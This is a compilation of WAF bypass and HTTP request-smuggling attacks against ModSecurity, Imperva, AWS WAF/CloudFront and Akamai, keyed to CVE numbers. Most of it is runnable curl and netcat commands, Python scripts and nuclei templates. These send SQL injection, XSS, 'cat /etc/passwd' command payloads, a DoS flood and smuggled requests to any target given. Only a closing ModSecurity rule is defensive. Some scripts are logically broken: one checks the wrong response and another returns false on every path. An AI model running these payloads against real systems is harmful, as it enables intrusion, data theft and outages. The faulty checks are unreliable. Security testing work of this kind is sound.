WAF与反向代理安全高危攻击链专题：ModSecurity / Imperva / AWS WAF / Akamai 漏洞全解析

GET /page%3Fid=1+UNION+SELECT+password+FROM+users-- HTTP/1.1
Host: target.com

curl -v "http://target.com/page%3Fid%3D1%20UNION%20SELECT%20password%20FROM%20users--"

curl -v "http://target.com/page?id=1 UNION SELECT password FROM users--"

#!/usr/bin/env python3
"""CVE-2024-1019 ModSecurity v3 WAF Bypass Detection Script"""
import requests
import sys
import urllib.parse


def check(target):
    """检测目标是否存在 CVE-2024-1019 WAF 绕过风险"""
    normal_payload = "/search?q=<script>alert(1)</script>"
    bypass_payload = "/search%3Fq%3D<script>alert(1)</script>"

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

    try:
        normal_resp = requests.get(
            target.rstrip("/") + normal_payload,
            headers=headers,
            timeout=10,
            allow_redirects=False,
            verify=False,
        )
        bypass_resp = requests.get(
            target.rstrip("/") + bypass_payload,
            headers=headers,
            timeout=10,
            allow_redirects=False,
            verify=False,
        )

        waf_blocked_normal = normal_resp.status_code in (403, 406, 429, 501)
        waf_passed_bypass = bypass_resp.status_code == 200

        if waf_blocked_normal and waf_passed_bypass:
            return True
        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2024-1019 WAF Bypass {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2024-1019

info:
  name: ModSecurity v3 - URL Decoding WAF Bypass
  author: x7peeps
  severity: high
  description: |
    ModSecurity / libModSecurity 3.0.0 to 3.0.11 decodes percent-encoded
    characters before separating the URL path from the query string,
    allowing attackers to hide payloads in the path component.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1019
    - https://owasp.org/www-project-modsecurity/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-1019
    cwe-id: CWE-20
  tags: cve,cve2024,modsecurity,waf,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/page%3F<script>alert(1)</script>"
      - "{{BaseURL}}/search%3Fid%3D1+UNION+SELECT+1--"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "alert(1)"
          - "UNION SELECT"

      - type: status
        status:
          - 200

PAYLOAD=$(python3 -c "print('a ' * 8000)")
curl -X POST "http://target.com/login" \
  -d "username=${PAYLOAD}&password=test" \
  -H "Content-Type: application/x-www-form-urlencoded"

#!/usr/bin/env python3
"""CVE-2023-38285 ModSecurity v3 DoS Detection Script"""
import requests
import sys
import time


def check(target):
    """检测目标是否存在 CVE-2023-38285 DoS 风险"""
    normal_payload = "a" * 100
    dos_payload = " ".join(["a"] * 8000)

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

    try:
        start = time.time()
        requests.post(
            target.rstrip("/") + "/login",
            data={"username": normal_payload, "password": "test"},
            headers=headers,
            timeout=10,
            verify=False,
        )
        normal_time = time.time() - start

        start = time.time()
        requests.post(
            target.rstrip("/") + "/login",
            data={"username": dos_payload, "password": "test"},
            headers=headers,
            timeout=30,
            verify=False,
        )
        dos_time = time.time() - start

        if dos_time > normal_time * 5 and dos_time > 2.0:
            return True
        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2023-38285 DoS {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2023-38285

info:
  name: ModSecurity v3 - Transformation DoS
  author: x7peeps
  severity: high
  description: |
    Trustwave ModSecurity 3.x before 3.0.10 has Inefficient Algorithmic
    Complexity in removeWhitespace, removeNull, replaceNull, and
    removeCommentsChar transformation actions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38285
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-v3-dos-vulnerability-in-four-transformations-cve-2023-38285/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-38285
    cwe-id: CWE-407
  tags: cve,cve2023,modsecurity,denial-of-service

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    body: "username={{repeat(\"a \",8000)}}&password=test"
    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 5'
          - 'status_code != 429'

    extractors:
      - type: dsl
        dsl:
          - '"Response time: " + duration + "s - potential DoS"'

# gzip 变体
curl -X POST "http://target.com/clam.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Encoding: No Kill No Beep Beep" \
  -H "Content-Encoding: gzip" \
  -d "cmd=cat+/etc/passwd"

# deflate 变体（需要无用前置参数）
curl -X POST "http://target.com/clam.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Encoding: No Kill No Beep Beep" \
  -H "Content-Encoding: deflate" \
  -d "qand=notu&cmd=cat+/etc/passwd"

#!/usr/bin/env python3
"""CVE-2023-50969 Imperva SecureSphere WAF Bypass Detection Script"""
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def check(target):
    """检测目标是否存在 CVE-2023-50969 WAF 绕过风险"""
    headers_base = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    normal_data = "cmd=cat+/etc/passwd"
    normal_headers = dict(headers_base)

    bypass_headers_gzip = dict(headers_base)
    bypass_headers_gzip["Content-Encoding"] = ["No Kill No Beep Beep", "gzip"]

    bypass_headers_deflate = dict(headers_base)
    bypass_headers_deflate["Content-Encoding"] = ["No Kill No Beep Beep", "deflate"]

    try:
        normal_resp = requests.post(
            target.rstrip("/") + "/clam.php",
            data=normal_data,
            headers=normal_headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )
        waf_blocked = normal_resp.status_code in (403, 406, 429, 501)

        if not waf_blocked:
            print("[*] 正常请求未被 WAF 拦截，无法验证绕过")
            return False

        bypass_resp = requests.post(
            target.rstrip("/") + "/clam.php",
            data="qand=notu&" + normal_data,
            headers=bypass_headers_deflate,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        if bypass_resp.status_code == 200 and "root:" in bypass_resp.text:
            return True

        bypass_resp2 = requests.post(
            target.rstrip("/") + "/clam.php",
            data=normal_data,
            headers=bypass_headers_gzip,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        if bypass_resp2.status_code == 200 and "root:" in bypass_resp2.text:
            return True

        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2023-50969 Imperva WAF Bypass {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2023-50969

info:
  name: Imperva SecureSphere WAF - POST Data Inspection Bypass
  author: x7peeps
  severity: critical
  description: |
    Imperva SecureSphere WAF allows remote attackers to bypass WAF rules
    via crafted Content-Encoding headers in POST requests.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50969
    - https://www.hoyahaxa.com/2024/03/imperva-waf-bypass-cve-2023-50969.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-50969
  tags: cve,cve2023,imperva,waf,bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/clam.php"

    headers:
      Content-Type: application/x-www-form-urlencoded
      Content-Encoding: "No Kill No Beep Beep"
      Content-Encoding: gzip

    body: "cmd=cat+/etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:"

      - type: status
        status:
          - 200

LONG_PARAM=$(python3 -c "print('A'*65536 + \"<script>alert(1)</script>\")")
curl -X GET "http://target.com/search?q=${LONG_PARAM}"

#!/usr/bin/env python3
"""CVE-2010-1329 Imperva SecureSphere Long String Bypass Detection Script"""
import requests
import sys


def check(target):
    """检测目标是否存在 CVE-2010-1329 长字符串绕过风险"""
    padding = "A" * 65536
    xss_payload = '<script>alert(1)</script>'
    full_payload = padding + xss_payload

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

    try:
        normal_resp = requests.get(
            target.rstrip("/") + "/search",
            params={"q": xss_payload},
            headers=headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )
        waf_blocked = normal_resp.status_code in (403, 406, 429, 501)

        bypass_resp = requests.get(
            target.rstrip("/") + "/search",
            params={"q": full_payload},
            headers=headers,
            timeout=15,
            verify=False,
            allow_redirects=False,
        )

        if waf_blocked and bypass_resp.status_code == 200:
            return True
        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2010-1329 Long String Bypass {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2010-1329

info:
  name: Imperva SecureSphere - Long String IPS Bypass
  author: x7peeps
  severity: high
  description: |
    Imperva SecureSphere WAF and Database Firewall allow remote attackers
    to bypass intrusion-prevention via a request with an appended long
    string containing an unspecified manipulation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1329
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2010-1329
  tags: cve,cve2010,imperva,waf,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/search?q={{repeat(\"A\",65536)}}<script>alert(1)</script>"

    matchers:
      - type: word
        part: body
        words:
          - "alert(1)"

      - type: status
        status:
          - 200

# 使用 curl 的 HTTP/2 支持（需要编译时启用 nghttp2）
curl -X POST "https://target.cloudfront.net/api/query" \
  --http2 \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "id=1 UNION SELECT password FROM users--"

#!/usr/bin/env python3
"""CVE-2026-13762 AWS CloudFront HTTP/2 WAF Bypass Detection Script"""
import requests
import sys

try:
    import httpx
    HAS_HTTPX = True
except ImportError:
    HAS_HTTPX = False


def check(target):
    """检测目标是否存在 CVE-2026-13762 HTTP/2 WAF 绕过风险"""
    malicious_payload = "id=1 UNION SELECT password FROM users--"
    safe_payload = "id=1"

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    try:
        safe_resp = requests.post(
            target.rstrip("/") + "/api/query",
            data=safe_payload,
            headers=headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )
        waf_blocked = safe_resp.status_code in (403, 406, 429, 501)

        if not waf_blocked:
            print("[*] 正常请求未被 WAF 拦截，无法验证绕过")
            return False

        malicious_resp = requests.post(
            target.rstrip("/") + "/api/query",
            data=malicious_payload,
            headers=headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        if malicious_resp.status_code == 200:
            return True

        if HAS_HTTPX:
            with httpx.Client(http2=True, verify=False) as client:
                http2_resp = client.post(
                    target.rstrip("/") + "/api/query",
                    content=malicious_payload.encode(),
                    headers=headers,
                )
                if http2_resp.status_code == 200:
                    return True

        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2026-13762 AWS WAF HTTP/2 Bypass {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2026-13762

info:
  name: AWS WAF / CloudFront - HTTP/2 Body Inspection Bypass
  author: x7peeps
  severity: critical
  description: |
    Inconsistent interpretation of HTTP/2 requests in Amazon CloudFront
    with AWS WAF enabled allows remote actors to bypass WAF managed rule
    body inspection via crafted HTTP/2 requests that fragment the request
    body across frames.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13762
    - https://aws.amazon.com/security/security-bulletins/2026-048-aws/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-13762
    cwe-id: CWE-444
  tags: cve,cve2026,aws,waf,cloudfront,http2,bypass

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/query"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: "id=1 UNION SELECT password FROM users--"

    matchers:
      - type: word
        part: body
        words:
          - "password"

      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""AWS WAF Generic Bypass Detection Script"""
import requests
import sys
from urllib.parse import quote


def check(target):
    """检测目标是否存在 AWS WAF 绕过风险"""
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

    xss_payloads = [
        '<img src=x onerror=alert(1)>',
        '<svg/onload=alert(1)>',
        '"><script>alert(1)</script>',
    ]

    bypass_techniques = [
        lambda p: quote(p, safe=""),
        lambda p: p.replace("<", "%3C").replace(">", "%3E"),
        lambda p: p.upper(),
        lambda p: p.replace("script", "scr\u0069pt"),
        lambda p: f"<details open ontoggle=alert(1)>",
    ]

    normal_blocked = False
    bypass_found = False

    for payload in xss_payloads:
        resp = requests.get(
            target.rstrip("/") + "/search",
            params={"q": payload},
            headers=headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )
        if resp.status_code in (403, 406, 429, 501):
            normal_blocked = True
            break

    if not normal_blocked:
        print("[*] XSS payload 未被 WAF 拦截，无法验证绕过")
        return False

    for technique in bypass_techniques:
        for payload in xss_payloads:
            bypass_payload = technique(payload)
            try:
                resp = requests.get(
                    target.rstrip("/") + "/search",
                    params={"q": bypass_payload},
                    headers=headers,
                    timeout=10,
                    verify=False,
                    allow_redirects=False,
                )
                if resp.status_code == 200:
                    bypass_found = True
                    break
            except requests.RequestException:
                continue
        if bypass_found:
            break

    return bypass_found


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - AWS WAF Bypass {'Vulnerable' if result else 'Not Vulnerable'}")

id: aws-waf-xss-bypass

info:
  name: AWS WAF - XSS Bypass via Encoding Techniques
  author: x7peeps
  severity: medium
  description: |
    Tests common WAF bypass techniques against AWS WAF protected
    endpoints using encoding, case variation, and DOM-based payloads.
  tags: aws,waf,xss,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"
      - "{{BaseURL}}/search?q=%3CsVg%2FonLoad%3Dalert(1)%3E"
      - "{{BaseURL}}/search?q=%22%3E%3Cscr%00ipt%3Ealert(1)%3C/scr%00ipt%3E"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "alert(1)"
          - "onerror"
        condition: or

      - type: status
        status:
          - 200

4\r\n
Wiki\r\n
6\r\n
pedia \r\n
E\r\n
in \r\n
\r\n
0\r\n
\r\n

# 使用 raw HTTP 发送 chunked 请求
printf "POST /api/submit HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\nContent-Length: 5\r\n\r\n5\r\nhello\r\n" | nc target.com 80

#!/usr/bin/env python3
"""CVE-2025-66373 Akamai Ghost Chunked Request Smuggling Detection"""
import socket
import ssl
import sys


def check(target_host, port=443, use_ssl=True):
    """检测目标是否存在 CVE-2025-66373 请求走私风险"""
    smuggled_request = (
        "GET /smuggled-test HTTP/1.1\r\n"
        "Host: " + target_host + "\r\n"
        "X-Smuggled: true\r\n"
        "\r\n"
    )

    chunk_size = len(smuggled_request)
    body = f"{chunk_size:x}\r\n{smuggled_request}\r\n0\r\n\r\n"

    request = (
        f"POST /api/submit HTTP/1.1\r\n"
        f"Host: {target_host}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Transfer-encoding: cow\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: 5\r\n"
        f"\r\n"
        f"hello{body}"
    )

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)

        if use_ssl:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=target_host)

        sock.connect((target_host, port))
        sock.send(request.encode())

        response = b""
        try:
            while True:
                data = sock.recv(4096)
                if not data:
                    break
                response += data
                if b"\r\n\r\n" in response:
                    break
        except socket.timeout:
            pass

        sock.close()

        response_str = response.decode("utf-8", errors="ignore")
        if "X-Smuggled" in response_str or "smuggled-test" in response_str:
            return True
        return False

    except Exception as e:
        print(f"[!] 连接异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_host>")
        sys.exit(1)
    host = sys.argv[1]
    result = check(host)
    print(f"[{'+' if result else '-'}] {host} - CVE-2025-66373 Request Smuggling {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2025-66373

info:
  name: Akamai Ghost - Chunked Body Request Smuggling
  author: x7peeps
  severity: medium
  description: |
    Akamai Ghost chunked request body processing error that can result
    in HTTP request smuggling via invalid chunk sizes.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66373
    - https://www.akamai.com/blog/security/cve-2025-66373-http-request-smuggling-chunked-body-size
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2025-66373
    cwe-id: CWE-444
  tags: cve,cve2025,akamai,request-smuggling,chunked

http:
  - raw:
      - |
        POST /api/submit HTTP/1.1
        Host: {{Hostname}}
        Transfer-Encoding: chunked
        Transfer-encoding: cow
        Content-Type: application/x-www-form-urlencoded

        5
        hello
        0

    matchers:
      - type: word
        words:
          - "X-Smuggled"
          - "HTTP/1.1 404"
        condition: or

POST /api/data HTTP/1.1
Host: target.com
Expect: 100-continue
Content-Length: 42
 
Content-Type: application/json

# 使用 raw socket 发送利用废弃行折叠的请求
printf "POST /api/data HTTP/1.1\r\nHost: target.com\r\nExpect: 100-continue\r\nContent-Length: 42\r\n Content-Type: application/json\r\n\r\n{\"cmd\":\"whoami\"}\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" | nc target.com 80

#!/usr/bin/env python3
"""CVE-2025-32094 Akamai Ghost OPTIONS Smuggling Detection"""
import requests
import sys


def check(target):
    """检测目标是否存在 CVE-2025-32094 OPTIONS 走私风险"""
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Expect": "100-continue",
        "Content-Length": "42",
    }

    smuggled_body = (
        '{"cmd":"id"}\r\n'
        'GET /smuggled-test HTTP/1.1\r\n'
        'Host: ' + target.replace("https://", "").replace("http://", "") + '\r\n'
        'X-Smuggled: true\r\n'
        '\r\n'
    )

    headers_with_fold = dict(headers)
    headers_with_fold[" Content-Type"] = "application/json"

    try:
        resp = requests.post(
            target.rstrip("/") + "/api/data",
            data=smuggled_body,
            headers=headers_with_fold,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        if resp.status_code in (200, 201) or "X-Smuggled" in resp.headers:
            return True

        options_headers = dict(headers)
        options_headers["Content-Type"] = "application/json"
        options_headers[" Content-Type"] = "application/x-www-form-urlencoded"

        options_resp = requests.options(
            target.rstrip("/") + "/api/data",
            headers=options_headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        if options_resp.status_code in (200, 204):
            return False
        if options_resp.status_code in (405, 403):
            return False

        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2025-32094 OPTIONS Smuggling {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2025-32094

info:
  name: Akamai Ghost - OPTIONS Request Smuggling
  author: x7peeps
  severity: medium
  description: |
    Akamai Ghost allows HTTP Request Smuggling via an OPTIONS request
    using obsolete line folding with Expect: 100-continue header.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32094
    - https://www.akamai.com/blog/security/cve-2025-32094-http-request-smuggling
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 4.0
    cve-id: CVE-2025-32094
    cwe-id: CWE-444
  tags: cve,cve2025,akamai,request-smuggling,options

http:
  - raw:
      - |
        POST /api/data HTTP/1.1
        Host: {{Hostname}}
        Expect: 100-continue
        Content-Length: 42
         Content-Type: application/json

        {"cmd":"whoami"}

    matchers:
      - type: word
        words:
          - "X-Smuggled"
          - "smuggled-test"
        condition: or

      - type: status
        status:
          - 200

curl -X POST "http://target.com/api/submit" \
  -H "Connection: Transfer-Encoding" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 5" \
  -H "Content-Type: application/json" \
  -d "hello"

#!/usr/bin/env python3
"""CVE-2026-26365 Akamai Ghost Connection Header Smuggling Detection"""
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def check(target):
    """检测目标是否存在 CVE-2026-26365 Connection 头走私风险"""
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Content-Type": "application/json",
        "Connection": "Transfer-Encoding",
        "Transfer-Encoding": "chunked",
        "Content-Length": "5",
    }

    body = "hello"

    smuggled_request = (
        "GET /smuggled-test HTTP/1.1\r\n"
        f"Host: {target.replace('https://', '').replace('http://', '')}\r\n"
        "X-Smuggled: true\r\n"
        "\r\n"
    )

    try:
        normal_resp = requests.post(
            target.rstrip("/") + "/api/submit",
            data=body,
            headers=headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        smuggle_headers = dict(headers)
        smuggle_headers["Transfer-Encoding"] = "chunked"

        smuggle_resp = requests.post(
            target.rstrip("/") + "/api/submit",
            data="0\r\n\r\n" + smuggled_request,
            headers=smuggle_headers,
            timeout=10,
            verify=False,
            allow_redirects=False,
        )

        if smuggle_resp.status_code in (200, 201):
            return True

        return False

    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2026-26365 Connection Smuggling {'Vulnerable' if result else 'Not Vulnerable'}")

id: CVE-2026-26365

info:
  name: Akamai Ghost - Connection Header Request Smuggling
  author: x7peeps
  severity: medium
  description: |
    Akamai Ghost mishandles processing of custom hop-by-hop HTTP headers
    where "Connection: Transfer-Encoding" can result in invalid message
    framing and HTTP request smuggling.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26365
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 4.0
    cve-id: CVE-2026-26365
    cwe-id: CWE-444
  tags: cve,cve2026,akamai,request-smuggling,connection-header

http:
  - raw:
      - |
        POST /api/submit HTTP/1.1
        Host: {{Hostname}}
        Connection: Transfer-Encoding
        Transfer-Encoding: chunked
        Content-Length: 5
        Content-Type: application/json

        hello

    matchers:
      - type: word
        words:
          - "X-Smuggled"
          - "smuggled-test"
        condition: or

      - type: status
        status:
          - 200

Content-Type: application/x-www-form-urlencoded
Content-Type: application/json

SecRule &REQUEST_HEADERS:Content-Type "@gt 1" \
  "id:100001,phase:1,deny,status:403,\
  msg:'Multiple Content-Type headers detected (CVE-2023-38199)',\
  tag:'CVE-2023-38199'"